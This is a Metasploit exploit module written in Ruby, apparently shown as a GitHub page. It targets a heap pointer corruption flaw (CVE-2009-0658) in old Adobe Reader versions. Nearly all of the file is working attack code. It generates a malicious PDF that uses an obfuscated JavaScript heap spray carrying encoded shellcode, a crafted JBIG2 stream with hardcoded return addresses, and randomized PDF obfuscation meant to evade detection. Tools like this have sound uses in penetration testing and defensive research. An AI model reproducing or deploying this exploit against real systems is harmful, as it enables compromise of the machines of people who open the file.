Path: blob/master/modules/exploits/windows/fileformat/adobe_jbig2decode.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe JBIG2Decode Memory Corruption',17'Description' => %q{18This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.19This module relies upon javascript for the heap spray.20},21'License' => MSF_LICENSE,22'Author' => [23# Metasploit implementation24'natron',25# bl4cksecurity blog explanation of vuln [see References]26'xort', 'redsand',27# obfuscation techniques and pdf template from util_printf28'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',29],30'References' => [31[ 'CVE', '2009-0658' ],32[ 'OSVDB', '52073' ]33],34'DefaultOptions' => {35'EXITFUNC' => 'process',36'DisablePayloadHandler' => true37},38'Payload' => {39'Space' => 1024,40'BadChars' => ""41},42'Platform' => 'win',43'Targets' => [44[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)45[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)46],47'DisclosureDate' => '2009-02-19',48'DefaultTarget' => 0,49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options([58OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),59])60end6162def exploit63# Encode the shellcode.64shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))65ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))6667nops = Rex::Text.to_unescape(make_nops(4))6869# Randomize some variables70rand1 = rand_text_alpha(rand(50) + 1)71rand2 = rand_text_alpha(rand(50) + 1)72rand3 = rand_text_alpha(rand(50) + 1)73rand4 = rand_text_alpha(rand(50) + 1)74rand5 = rand_text_alpha(rand(50) + 1)75rand6 = rand_text_alpha(rand(50) + 1)76rand7 = rand_text_alpha(rand(50) + 1)77rand8 = rand_text_alpha(rand(50) + 1)78rand9 = rand_text_alpha(rand(50) + 1)79rand10 = rand_text_alpha(rand(50) + 1)80rand11 = rand_text_alpha(rand(50) + 1)81rand12 = rand_text_alpha(rand(50) + 1)82rand13 = rand_text_alpha(rand(50) + 1)83rand14 = rand_text_alpha(rand(50) + 1)84rand15 = rand_text_alpha(rand(50) + 1)85rand16 = rand_text_alpha(rand(50) + 1)8687script = %Q|88var #{rand1} = "";89var #{rand2} = "";90var #{rand3} = unescape("#{shellcode}");91var #{rand4} = "";9293for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");94#{rand6} = #{rand4} + #{rand3};95#{rand7} = unescape("#{nops}");96#{rand8} = 20;97#{rand9} = #{rand8}+#{rand6}.length98while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};99#{rand10} = #{rand7}.substring(0, #{rand9});100#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});101while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};102#{rand12} = new Array();103for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};104105for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");106#{rand13} = #{rand2}.length + 20107while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};108#{rand14} = #{rand2}.substring(0, #{rand13});109#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});110while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};111#{rand16} = new Array();112for (#{rand5}=0;#{rand5}<125;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};113|114eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]115eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20]116modifier = "\x00\x69\x00\x00" # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418117# natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000118# EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec119# EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214120121jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr122123# Create the pdf124pdf = make_pdf(script, jbig2stream)125126print_status("Creating '#{datastore['FILENAME']}' file...")127128file_create(pdf)129end130131def random_non_ascii_string(count)132result = ""133count.times do134result << (rand(128) + 128).chr135end136result137end138139def io_def(id)140"%d 0 obj" % id141end142143def io_ref(id)144"%d 0 R" % id145end146147# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/148def n_obfu(str)149result = ""150str.scan(/./u) do |c|151if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'152result << "#%x" % c.unpack("C*")[0]153# Randomize the spaces and newlines154elsif c == " "155result << " " * (rand(3) + 1)156if rand(2) == 0157result << "\x0d\x0a"158result << " " * rand(2)159end160else161result << c162end163end164result165end166167def ascii_hex_whitespace_encode(str)168result = ""169whitespace = ""170str.each_byte do |b|171result << whitespace << "%02x" % b172whitespace = " " * (rand(3) + 1)173end174result << ">"175end176177def make_pdf(js, jbig2)178xref = []179eol = "\x0d\x0a"180endobj = "endobj" << eol181182pdf = "%PDF-1.5" << eol183pdf << "%" << random_non_ascii_string(4) << eol184xref << pdf.length185pdf << n_obfu(" ") << io_def(1) << n_obfu(" << /Type /Catalog /Outlines ") << io_ref(2) << n_obfu(" /Pages ") << io_ref(3) << n_obfu(" /OpenAction ") << io_ref(5) << " >> " << endobj186xref << pdf.length187pdf << n_obfu(" ") << io_def(2) << n_obfu(" << /Type /Outlines /Count 0 >> ") << endobj188xref << pdf.length189pdf << n_obfu(" ") << io_def(3) << n_obfu(" << /Type /Pages /Kids [ ") << io_ref(4) << n_obfu(" ") << io_ref(7) << n_obfu(" ] /Count 2 >> ") << endobj190xref << pdf.length191pdf << n_obfu(" ") << io_def(4) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << n_obfu(" /MediaBox [0 0 612 792 ] >> ") << endobj192xref << pdf.length193pdf << n_obfu(" ") << io_def(5) << n_obfu(" << /Type /Action /S /JavaScript /JS ") + io_ref(6) + " >> " << endobj194xref << pdf.length195196compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js), rand(5) + 4) # Add random 4-9 compression level197pdf << n_obfu(" ") << io_def(6) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol198pdf << "stream" << eol199pdf << compressed << eol200pdf << "endstream" << eol201pdf << endobj202xref << pdf.length203204pdf << n_obfu(" ") << io_def(7) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << " /Contents [ " << io_ref(8) << " ] >> " << eol205206xref << pdf.length207compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8) + 1) # Convert to ASCII hex, then deflate using random 1-9 compression208pdf << n_obfu(" ") << io_def(8) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol209pdf << "stream" << eol210pdf << compressed << eol211pdf << "endstream" << eol212pdf << endobj213214xrefPosition = pdf.length215pdf << "xref" << eol216pdf << "0 %d" % (xref.length + 1) << eol217pdf << "0000000000 65535 f" << eol218xref.each do |index|219pdf << "%010d 00000 n" % index << eol220end221pdf << "trailer" << n_obfu("<< /Size %d /Root " % (xref.length + 1)) << io_ref(1) << " >> " << eol222pdf << "startxref" << eol223pdf << xrefPosition.to_s() << eol224pdf << "%%EOF" << eol225end226end227228229